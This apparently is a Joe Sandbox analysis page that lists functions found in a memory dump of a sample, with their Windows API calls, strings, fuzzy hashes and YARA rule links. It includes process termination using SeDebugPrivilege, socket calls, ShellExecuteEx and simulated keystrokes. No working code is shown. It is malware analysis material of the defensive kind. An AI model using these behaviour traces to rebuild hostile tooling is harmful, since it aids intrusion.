API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 9b2601060b29aad98bd61e46232454f6f0f0e0019bcb0688d0f434f1d9cef56c
Instruction ID: 3a6f9e3c33d8a73a8dab88678845bf744c47b0e6b70e25103ec984dac025c77e
Opcode Fuzzy Hash: 9b2601060b29aad98bd61e46232454f6f0f0e0019bcb0688d0f434f1d9cef56c
Instruction Fuzzy Hash: B8915B71D0021DEBDB10EFA4DC84BEEBBB9AF08710F20415AF519A7291DB759A44DFA0

Function 01006FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 01007093
SendMessageW.USER32(?,00001036,00000000,?), ref: 010070A7
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 010070C1
_wcscat.LIBCMT ref: 0100711C
SendMessageW.USER32(?,00001057,00000000,?), ref: 01007133
SendMessageW.USER32(?,00001061,?,0000000F), ref: 01007161

Strings

SysListView32, xrefs: 01007065

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 56f33a9f99795a7bef71a82ce137849fd195e39220841417dda67fad447e6920
Instruction ID: 349cc0822d37225e71085e9872bab7c54f1daaeb8fb2e9dceabe85766a56762a
Opcode Fuzzy Hash: 56f33a9f99795a7bef71a82ce137849fd195e39220841417dda67fad447e6920
Instruction Fuzzy Hash: 7B41A475A00309EFEB22DF68CC85BEE77E9EF08350F00056AF5C4971D2D676A9859B50

Function 00FFEC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00FE3E91: CreateToolhelp32Snapshot.KERNEL32 ref: 00FE3EB6
Part of subcall function 00FE3E91: Process32FirstW.KERNEL32(00000000,?), ref: 00FE3EC4
Part of subcall function 00FE3E91: CloseHandle.KERNEL32(00000000), ref: 00FE3F8E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FFECB8
GetLastError.KERNEL32 ref: 00FFECCB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FFECFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FFED77
GetLastError.KERNEL32(00000000), ref: 00FFED82
CloseHandle.KERNEL32(00000000), ref: 00FFEDB7

Strings

SeDebugPrivilege, xrefs: 00FFECD6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 41d20237b25055e61d48a9b4f1857822352a5e64be5ad42406edf79c7af53121
Instruction ID: 5e1de6736811cdeacbed4bb62e41f75859b01d2cc4a64c1754d3aec403b06645
Opcode Fuzzy Hash: 41d20237b25055e61d48a9b4f1857822352a5e64be5ad42406edf79c7af53121
Instruction Fuzzy Hash: E741C0316042059FDB25EF24CC95F7DB7A5AF80714F088059F9829B3E2DBB9A804EB91

Function 00FE3226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00FE32C5

Strings

stop, xrefs: 00FE3296
warning, xrefs: 00FE32AE
info, xrefs: 00FE3266
question, xrefs: 00FE327E
blank, xrefs: 00FE3247

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 687c744dcd02eb012815cece301531555e2ed4b09ce00876af16699099722788
Instruction ID: 3d35e589db211cd3adfdd0e1c510a13200967e17482fbdce2b4aa83bc5dd802c
Opcode Fuzzy Hash: 687c744dcd02eb012815cece301531555e2ed4b09ce00876af16699099722788
Instruction Fuzzy Hash: 7511EB32B083D6BBD7115A57DC4ED6AB39CDF1A370F10001EFA8097181D7759B4066A5

Function 00FE4534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00FE454E
LoadStringW.USER32(00000000), ref: 00FE4555
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00FE456B
LoadStringW.USER32(00000000), ref: 00FE4572
_wprintf.LIBCMT ref: 00FE4598
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00FE45B6

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00FE4593

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 6b751dc06db6270b5bd0b1d8130a70a19be0592c0232bc98041fb387db6d7c88
Instruction ID: a6a7f4782611ee157732b2beba57939d178277f44a61bc168a0a1a9a23ead846
Opcode Fuzzy Hash: 6b751dc06db6270b5bd0b1d8130a70a19be0592c0232bc98041fb387db6d7c88
Instruction Fuzzy Hash: 720162F2900209BFE731EBA1DD89EE7776CEB08301F000595BB85D2041EA799E859B70

Function 0100D74C Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

GetSystemMetrics.USER32(0000000F), ref: 0100D78A
GetSystemMetrics.USER32(0000000F), ref: 0100D7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0100D9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0100DA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0100DA24
ShowWindow.USER32(00000003,00000000), ref: 0100DA43
InvalidateRect.USER32(?,00000000,00000001), ref: 0100DA68
DefDlgProcW.USER32(?,00000005,?,?), ref: 0100DA8B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 46052702310836318c7e03dad1270c128d84b2225fb04d97de92a17d990bc445
Instruction ID: a091ecbbc06e84f8b93d98b66e546c72f242363e5fde1b7dc5f28e0b3042f2fd
Opcode Fuzzy Hash: 46052702310836318c7e03dad1270c128d84b2225fb04d97de92a17d990bc445
Instruction Fuzzy Hash: F8B18C71500216EBEF16CFACC9C57AD7BF2BF45701F0481A9ED889B289D735A990CB60

Function 00F82A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FBC417,00000004,00000000,00000000,00000000), ref: 00F82ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00FBC417,00000004,00000000,00000000,00000000,000000FF), ref: 00F82B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00FBC417,00000004,00000000,00000000,00000000), ref: 00FBC46A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FBC417,00000004,00000000,00000000,00000000), ref: 00FBC4D6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 6d31351e066f73f25dc4d1ef1bdf70c92dccc8fcfeb3919a9a03ac79120108e9
Instruction ID: 0df96302fa9fc55ff94c61ba2eb20f376e60c058d4f5e09d93112c6150ec6fde
Opcode Fuzzy Hash: 6d31351e066f73f25dc4d1ef1bdf70c92dccc8fcfeb3919a9a03ac79120108e9
Instruction Fuzzy Hash: AB411775A04680ABC7BEBB29CC987FB7B92BF86320F14840DE08786550C63EB941F750

Function 00FE7368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00FE737F

Part of subcall function 00FA0FF6: std::exception::exception.LIBCMT ref: 00FA102C
Part of subcall function 00FA0FF6: __CxxThrowException@8.LIBCMT ref: 00FA1041

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00FE73B6
EnterCriticalSection.KERNEL32(?), ref: 00FE73D2
_memmove.LIBCMT ref: 00FE7420
_memmove.LIBCMT ref: 00FE743D
LeaveCriticalSection.KERNEL32(?), ref: 00FE744C
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00FE7461
InterlockedExchange.KERNEL32(?,000001F6), ref: 00FE7480

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: ea3325c57126fb55525bd49f178f0a296cbdc89dfa21dea376ca506e824bb67f
Instruction ID: 3cc6dfd8ed884cb19a60e5f97bf8a2c8226c85e487d37644f92ae9d7ee30580b
Opcode Fuzzy Hash: ea3325c57126fb55525bd49f178f0a296cbdc89dfa21dea376ca506e824bb67f
Instruction Fuzzy Hash: 07319E71904205EFCF20EF65DC85AAE7B78FF45310F1540A5F904AB24ADB759A10EBA0

Function 01006442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0100645A
GetDC.USER32(00000000), ref: 01006462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0100646D
ReleaseDC.USER32(00000000,00000000), ref: 01006479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 010064B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 010064C6
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,01009299,?,?,000000FF,00000000,?,000000FF,?), ref: 01006500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 01006520

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 1fad5e6d80b0711aa5edb1a33e3753751e5ed23a73c15914d64558c08436e059
Instruction ID: 8bccf54edc9ad201a24076bf2066be5e7b10292523ff53e2fa7a9a14d6384570
Opcode Fuzzy Hash: 1fad5e6d80b0711aa5edb1a33e3753751e5ed23a73c15914d64558c08436e059
Instruction Fuzzy Hash: 4431A072200210BFEB228F64CC49FEB3FAAEF0A761F044055FE48DA195C67A9851CB70

Function 00FDC072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00FDC087
_memcmp.LIBCMT ref: 00FDC0A9
_memcmp.LIBCMT ref: 00FDC0C1
_memcmp.LIBCMT ref: 00FDC0D4
_memcmp.LIBCMT ref: 00FDC0EE
_memcmp.LIBCMT ref: 00FDC101
_memcmp.LIBCMT ref: 00FDC119
_memcmp.LIBCMT ref: 00FDC134

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 682a93578d8b582de1c75c919844658e49ad29965c0549120fd65d528fd6dfb6
Instruction ID: bc31aea37246d8848aa7d0016a53ff9fbc1e0881417a308c4d948659c23f2f5e
Opcode Fuzzy Hash: 682a93578d8b582de1c75c919844658e49ad29965c0549120fd65d528fd6dfb6
Instruction Fuzzy Hash: EE21D7B2A40217B7D210A5218D46FAB335EAF113A4F1C4026FE05DA352EB59DD11F2E5

Function 00FEED8E Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

Part of subcall function 00F9FEC6: _wcscpy.LIBCMT ref: 00F9FEE9

_wcstok.LIBCMT ref: 00FEEEFF
_wcscpy.LIBCMT ref: 00FEEF8E
_memset.LIBCMT ref: 00FEEFC1

Strings

X, xrefs: 00FEEFFE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: bcd55bd147cadd8ca6d4ef83000bd4dc38142af337559619f5ae2b6e7acecb76
Instruction ID: a3476cd85c1cf20598880d39b59927841a76635387f8a74c18101b8d8655dfa7
Opcode Fuzzy Hash: bcd55bd147cadd8ca6d4ef83000bd4dc38142af337559619f5ae2b6e7acecb76
Instruction Fuzzy Hash: 89C191715083419FC724FF24CC85A9AB7E4BF85314F14492DF899872A2DB74ED45EB82

Function 00FF6E17 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00FF6F14
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00FF6F35
WSAGetLastError.WSOCK32(00000000), ref: 00FF6F48
htons.WSOCK32(?,?,?,00000000,?), ref: 00FF6FFE
inet_ntoa.WSOCK32(?), ref: 00FF6FBB

Part of subcall function 00FDAE14: _strlen.LIBCMT ref: 00FDAE1E
Part of subcall function 00FDAE14: _memmove.LIBCMT ref: 00FDAE40

_strlen.LIBCMT ref: 00FF7058
_memmove.LIBCMT ref: 00FF70C1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: e3eb7e39a7d49c5bb29863ce4d27d28367023e984b95e9b14cfd9d61826a28e2
Instruction ID: 582547644fceda966ea95acebb235b6615e55591555b07fc6e4848a7f9092523
Opcode Fuzzy Hash: e3eb7e39a7d49c5bb29863ce4d27d28367023e984b95e9b14cfd9d61826a28e2
Instruction Fuzzy Hash: F981E032508304ABD710FB24CC86FBBB3A9AF84B24F144518F6559B2A2DF759D01E752

Function 00F81424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 493a6128d64032dd707b32d67927e23b042d9fe5a32a65dec03b52961b86fb0e
Instruction ID: 7da544a80549920ea30074c55ccbd1d764547065dcf967efb33bff2ba3515209
Opcode Fuzzy Hash: 493a6128d64032dd707b32d67927e23b042d9fe5a32a65dec03b52961b86fb0e
Instruction Fuzzy Hash: BB717031900109EFDB15DF59CC49AFEBB79FF86320F248249F915AA251C734AA52EF60

Function 0100B60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01695B68), ref: 0100B6A5
IsWindowEnabled.USER32(01695B68), ref: 0100B6B1
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0100B795
SendMessageW.USER32(01695B68,000000B0,?,?), ref: 0100B7CC
IsDlgButtonChecked.USER32(?,?), ref: 0100B809
GetWindowLongW.USER32(01695B68,000000EC), ref: 0100B82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0100B843

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: f35b602a12b56171aa8b059fa8cd59cc3a10f7ff9c82ea8f86751338302721ee
Instruction ID: 3bf05f11841abf1d76ce76f85401cf5e6214cf323f11c69c4f49226b09ac2235
Opcode Fuzzy Hash: f35b602a12b56171aa8b059fa8cd59cc3a10f7ff9c82ea8f86751338302721ee
Instruction Fuzzy Hash: 9E718178604205AFFB62DF68C8D4FAA7BF5FF49300F084099E9C597291DB36A941DB50

Function 00FFF732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FFF75C
_memset.LIBCMT ref: 00FFF825
ShellExecuteExW.SHELL32(?), ref: 00FFF86A

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

Part of subcall function 00F9FEC6: _wcscpy.LIBCMT ref: 00F9FEE9

GetProcessId.KERNEL32(00000000), ref: 00FFF8E1
CloseHandle.KERNEL32(00000000), ref: 00FFF910

Strings

@, xrefs: 00FFF839

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 08acf50b7ffdbd88ef8bbf3ed2641b2e89b1a6f08992ea6c792294aa099ac4b8
Instruction ID: 604649b371830046e223fd37ac43f3f13d6d802ae56837f62cc21a60c77d330f
Opcode Fuzzy Hash: 08acf50b7ffdbd88ef8bbf3ed2641b2e89b1a6f08992ea6c792294aa099ac4b8
Instruction Fuzzy Hash: A661AE75E006199FCF14EF54C8849AEBBF4FF48310F148069E856AB361CB74AD45EB90

Function 00FE145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00FE149C
GetKeyboardState.USER32(?), ref: 00FE14B1
SetKeyboardState.USER32(?), ref: 00FE1512
PostMessageW.USER32(?,00000101,00000010,?), ref: 00FE1540
PostMessageW.USER32(?,00000101,00000011,?), ref: 00FE155F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00FE15A5
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00FE15C8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2496702346e08df30cc632cb50f17cfb1e58b9699b2dc3ccc12ae575f815758e
Instruction ID: 11f685f2ed4e8c14bfb78c852d0ed8623986c8d6cf3a875419ebea19e86a8090
Opcode Fuzzy Hash: 2496702346e08df30cc632cb50f17cfb1e58b9699b2dc3ccc12ae575f815758e
Instruction Fuzzy Hash: 8D51E2B0A047D53EFB3282378C45BBABEA97B46314F0C4589E1D6458C2C3F99C94E750

Function 00FE1276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00FE12B5
GetKeyboardState.USER32(?), ref: 00FE12CA
SetKeyboardState.USER32(?), ref: 00FE132B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00FE1357
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00FE1374
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00FE13B8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00FE13D9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

